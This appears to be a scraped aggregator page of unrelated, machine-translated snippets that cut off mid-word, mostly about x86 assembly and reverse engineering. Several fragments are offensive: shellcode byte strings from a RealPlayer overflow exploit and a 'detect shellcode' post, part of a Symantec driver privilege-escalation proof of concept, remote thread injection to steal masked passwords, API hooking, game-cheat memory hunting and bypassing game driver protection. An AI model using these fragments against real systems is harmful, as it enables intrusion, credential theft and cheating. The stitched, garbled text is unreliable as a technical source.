edi x12

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Notes 1 for Assembly Language Learning

CPU switches from user mode to privileged mode, then jump to the kernel code to execute the exception handling program.In the "B INT" command, the value 0x80 is a parameter. In exception handling, the parameter determines how to handle the problem. In the Linux kernel, an int 0x80 exception is called a system call.The values of C eax and EBX registers are two parameters passed to the system call. The value of eax is the system call number, 1 indicates _ exit call, and EBX indicates the paramete

[Code] without DLL Remote thread injection, get the asterisk password of the Target Program

;//////////////////////////////; First get the relocation difference Call rebaseRebase:Pop EBP;Sub EBP, offset rebase;; Get the kernel32.dll's base address; By peb direct access; Place in here not routine; Because we need it afterAssume FS: nothing; MoV eax, FS: [30 h]; PTR _ TebMoV eax, [eax + 0ch]; PTR _ peb_ldr_dataMoV eax, [eax + 1ch]; list_entry ininitializationordermodulelist. flinkMoV eax, [eax]; flink's flinkMoV eax, [eax + 08 h]; The Kernel32's base addressMoV [EBP + dwbase], eax;MoV EC

C ++ from the perspective of assembly (opening part)

about some personal opinions. Next, we will conduct some small tests and explain them in assembly language. You can do it together. (1) Char name [] and char * Name 1:2: void process()3: {00401020 push ebp00401021 mov ebp,esp00401023 sub esp,4Ch00401026 push ebx00401027 push esi00401028 push edi00401029 lea edi,[ebp-4Ch]0040102C mov ecx,13h00401031 mov eax,0C

Example analysis of the underlying difference between C + + copy initialization and direct initialization

the arguments of the constructor, and is initialized with 1, which omits a step, speeds up the operation, and achieves the same effect. Note: In the above assembly, Visual Studio compiler optimizations have been turned off, indicating that this approach has been used as a general method of Visual Studio, rather than as a vs-perceived optimization tool.Initialize 3:classtest ct3 = Ct1Classtest ct3 = ct1;//Copy Initialization00b09538 Lea Eax,[ct1]00b0953e push EAX00b0953f Lea ECX,[CT3]00b09545 ca

Use python to detect shellcode

\ xe2 \ x58 \ x8b \ x58 \ x24 \ x01 \ xd3 \ x66 \ x8b" 14 + "\ x0c \ x4b \ x8b \ x58 \ x1c \ x01 \ xd3 \ x8b \ x04 \ x8b \ x01 \ xd0 \ x89 \ x44" 15 + "\ x24 \ x24 \ x5b \ x5b \ x61 \ x59 \ x5a \ x51 \ xff \ xe0 \ x58 \ x5f \ x5a \ x8b" 16 + "\ x12 \ xeb \ x86 \ x5d \ x68 \ x33 \ x32 \ x00 \ x00 \ x68 \ x77 \ x73 \ x32 \ x5f" 17 + "\ x54 \ x68 \ x4c \ x77 \ x26 \ x07 \ xff \ xd5 \ xb8 \ x90 \ x01 \ x00 \ x00 \ x29" 18 + "\ xc4 \ x54 \ x50 \ x68

Verification of CRC-CCITT Based on OpenGL

corresponds to a polynomial of X6 + X4 + X2 + x + 1, while a polynomial of code 101111 corresponds to X5 + X3 + X2 + x + 1.CRC verification is divided into many different standards based on the generated polynomials used. Common include:Example of name generation Polynomial CRC-4 X4 + x + 1 3 ITU g.704 CRC-8 X8 + X5 + X4 + 1 31 DS18B20CRC-12 X12 + X11 + X3 + X2 + x + 1 0x80fCRC-16 x16 + x15 + X2 + 1 0x8005 IBM SDLCCRC-ITU (CCITT) x16 +

[Reprinted] HOOK API

this function: Exported FN (): Send-ord: 0013 HAssembly Code of address machine code: 71a21af4 55 push EBP // machine code to be hooked (1st methods): 71a21af5 8bec mov EBP, esp // machine code to be hooked (2nd methods): 71a21af7 83ec10 sub ESP, 00000010: 71a21afa 56 push ESI: 71a21afb 57 push EDI: 71a21afc 33ff xor edi, EDI: 71a21afe 813d1c20a371931ca271 cmp d

0.033 seconds of art-traps in xNa Math Library

Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->Public Static Vector3 Foo (vector3 V, Float Radius){Matrix;Matrix. createtranslation ( Ref V, Out A ); Matrix B=Matrix. createtranslation (v ); Matrix. Multiply (RefA,RefB,OutA ); Vector3 F1=B. forward; Vector3 F2;F2.x=B. m31;F2.y=B. M32;F2.z=B. M33; Vector3 F3;Vector3.add (RefF1,RefF2,OutF3 );Vector3.transform (RefF3,RefA,OutF1 );ReturnF1;} Test 2 is the focus of this Article. To facilitate the discussion, we div

WINXP SP2 user32.dll callwindowproc (...)

";VaR objtmp = Document. getelementbyid ("TOP ");VaR bodyhtml = objtmp. innerhtml;VaR strfns = "/R/N "; // Analyze respond text !;VaR strrestext = XMLHTTP. responsetext;For (VAR I = 0; I Tooltip Callwindowproc is set as a macro, divided into callwindowproca and callwindowprocw.In both functions a and W, callwindowprocaorw (...) is called. The prototype is lresult winapi callwindowprocaorw (wndproc PFN, hwnd, uint message, wparam, lparam, bool Bansi). function a sets Bansi to 1, the W function s

Bug solution for loading LoadImage to system OEM Images

parameter is the pointer to the string for the BMP file to open,Where my string is at address 0x00197fe8, and staying at 0x00197fe8 each timeAt the moment which is why I cocould debug this. Below is the disassembly with some of my own comments noting the importantParts: _ Loadbmp @ 20:77d55e95 mov EDI, EDI77d55e97 push EBP77d55e98 mov EBP, ESP77d55e9a sub ESP, 24 h77D55E9D mov ecx, dword ptr [ebp + 0Ch]; Copies address of filenameInto ecx77D55EA0 pus

Symantec AntiVirus symtdi. sys Driver Local Privilege Escalation Vulnerability

;} Printf ("Symantec Local Privilege Escalation Vulnerability Exploit (POC) \ n ");Printf ("tested on: \ n \ twindows 2003 SP1 (ntkrnl.pa.exe version) \ n ");Printf ("\ tcoded by shadow3 \ n "); Status = ntallocatevirtualmemory (handle)-1, Shellcodememory,0, Memorysize,Mem_reserve | mem_commit | mem_top_down,Page_execute_readwrite );If (status! = STATUS_SUCCESS ){ Printf ("ntallocatevirtualmemory failed, status: % 08x \ n", status );Return 0;} Memset (shellcodememory, 0x90, memorysize ); _ ASM {

[Plug-in learning] Jim's game plug-in learning Note 1 -- How to Find memory addresses for games with dynamically allocated memory (original)

Game: tianlong BabuVersion: 0.13.0402System: Windows XPTool: ce5.2 + od1.10Objective: To search for the character base address Step 1: search for the person Hp with Ce, get a bunch of addresses, continue searching after blood loss, get the unique address 0abdc360 (HP address) Step 2: Switch the map and find that the value in the address is no longer HP, it is a dynamic address. Repeat the first step to search for a new HP address (the address is omitted) Step 3: Do not switch the map at this tim

yjx_rxjh_18_3.1.2

?) Send network data should be read breakpoint Ah ... The purpose here is to find the origin of this memory, not the same as not to locate the sending network data, positioning to write data can still ah ...! !)"11:25" above found non-base address, OD in memory Access breakpoint (ZC:-.-)"12:26" "Repne scas" command (ZC: Default is EAX, ECX)"16:00" the command od press F7, will be executed once in a loop"17:11" At this time the EDI value is 0x065ef2ab,

Assembly Language Programming Reading notes (3)-Program examples

. The source program entry is _start. As follows:Cpuid2.s # Cpuid2.s file.section. DataOutput: . Asciz "CPUID is '%s ' \ n". Section. BSS . Lcomm Buffer, 12. Section. Text.globl _start_start: NOP movl $,%eax cpuid movl $buffer,%edi movl%ebx, (%edi) MOVL%edx, 4 (%edi) movl%ecx, 8 (%edi) pus

Function stack frame (analyzed by assembly), function Assembly Analysis

be viewed through the linux system, but the stack frame Implementation of centos7 seems to be somewhat different, and the same code cannot run on centos7. The following is a Disassembly 1 int main() 2 { 3 00A118E0 push ebp 4 00A118E1 mov ebp,esp 5 00A118E3 sub esp,0D8h 6 00A118E9 push ebx 7 00A118EA push esi 8 00A118EB push edi 9 00A118EC lea

How to Use windbg ko xxxx game Driver Protection

! NtWriteVirtualMemory 01. GIF (48.97 KB) The three functions show YES, indicating that the Address is written down by the HOOK. We can use WINDBG to check the Address. Switch to the WINDBG menu and choose "open"> "kernel mode"> "local". Then, confirm whether to save or choose "yes ". Menu-View-command browser we break into command uf 0xaa096314 (my Address here may be different from yours to see clearly !!) 02. GIF (116.31 KB) Aa096314 PUSH EBPAa096315 mov ebp, ESPAa096317 add esp,-28Aa09631a

C Language Program stack call (detail, diagram) __c language

Ebx,esi,edi separately to in the stack, after Le Ah, Mov,mov three, the initial space of the main function is populated with 13h (bits 19) cc To get a better idea of the stack creation and destruction, let's illustrate it graphically when it's Ebx,esi,edi. After the three registers are pressed into the stack, after the 13h size space is initialized to CC, the ESP pointer moves up to the

INTEL 32-bit assembler convenience sticker

the operating system for the people Basic execution Environment Address space: Protected mode 4G, Real mode 1M Basic registers: 8 Universal Registers: EAX,EBX,ECX,EDX,EBP (base address pointer), ESP (stack pointer), ESI (Source index), EDI (destination index). The first four groups can be addressed to 8-bit (Eax,ax,ah,al), and the last four groups can address only 16-bit (ESI,SI) 6 segment registers: CS (Code), SS (Stack), DS (Data), es,fs,gs eflags

EFS Web Server 7.2 Get request buffer Overflow vulnerability Analysis and utilization

Introduction EFS Web server is a software that can manage server files over a Web side, and sending a GET request too long can trigger a buffer overflow vulnerabilityAnalysis Source: https://www.exploit-db.com/exploits/39008/ Experimental Environment WinXP SP3 Chinese versionEFS Web Server7.2Immunity DebuggerWinDbgIdaMona Vulnerability Analysis Because the author uses the address of the overlay Seh program in ImageLoad.dll, no ASLR, so the use of more stable, open on the pop-up calculator We w

RealPlayer 'rmp' Remote Stack Buffer Overflow Vulnerability

\ x2b \ xc9 \ xb1 "."\ X33 \ x83 \ xea \ xfc \ x31 \ x42 \ x0e \ x03 \ x6d \ x90 \ x4b \ x9a \ x8d \ x44 \ x02 \ x65 \ x6d \ x95 \ x75"."\ Xef \ x88 \ xa4 \ xa7 \ x8b \ xd9 \ x95 \ x77 \ xdf \ x8f \ x15 \ xf3 \ x8d \ x3b \ xad \ x71 \ x1a \ x4c \ x06"."\ X3f \ x7c \ x63 \ x97 \ xf1 \ x40 \ x2f \ x5b \ x93 \ x3c \ x2d \ x88 \ x73 \ x7c \ xfe \ xdd \ x72 \ xb9 \ xe2"."\ X2e \ x26 \ x12 \ x69 \ x9c \ xd7 \ x17 \ x2f \ x1d \ xd9 \ xf7 \ x24 \ x1d \ xa1 \

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